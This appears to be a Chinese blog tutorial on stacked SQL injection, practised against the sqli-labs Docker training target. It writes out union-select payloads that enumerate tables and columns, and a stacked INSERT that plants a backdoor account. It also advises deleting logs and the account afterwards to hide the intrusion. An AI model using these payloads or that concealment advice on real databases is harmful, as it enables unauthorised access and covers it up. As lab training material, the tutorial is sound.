8.堆叠注入
原理
这种注入手法可以对数据库进行增删改查
而不是像之前一样只能查询数据
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100606497-1393604414.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100606294-281423347.png)
启动靶场
sudo docker run -dt --name sqli -p 7766:80 acgpiano/sqli-labs
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100605880-1589720543.png)
注入利用
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100606252-1408377179.png)
开始试探
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100606393-1776999181.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100605905-971560709.png)
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100606400-1074157748.png)
两次试探返回不一样,可能存在注入
试探结束
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100606438-1091533676.png)
提取库中的所有的表
?id=-999' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100606414-150154885.png)
四个表:
emails
referers
uagents
users
获取指定表中所有的字段
?id=-999' union select 1,2,(select group_concat(column_name)from information_schema.columns where TABLE_NAME='users' limit 1)%23
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100606420-308660226.png)
三个字段:
id
username
password
创建临时账户
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100606306-1970724488.png)
这个账户创建后,可以利用这个账户直接登录对方数据库,当离开时,将日志和这个账户删除即可
账号创建
账号名baiyang,密码123456,位置为users表的20号位置
?id=1';insert into users(id,username,password)values(20,'baiyang','123456')%23
创建成功
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100606424-1815688042.png)
查看结果
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100606433-885401368.png)
账号插入成功
查询已有账号和密码
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100605946-792905723.png)
将查询结果作为一个账号插入到数据库users表的第22行,然后让数据库直接正常返回第22行的数据,得到想要的子查询结果
将正常账号位改为子查询语句
select database()
修改查询ID
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100605881-1312223600.png)
插入并查询成功
![0](https://img2023.cnblogs.com/blog/3321605/202311/3321605-20231111100606404-707352505.png)
当前连接的数据库名为security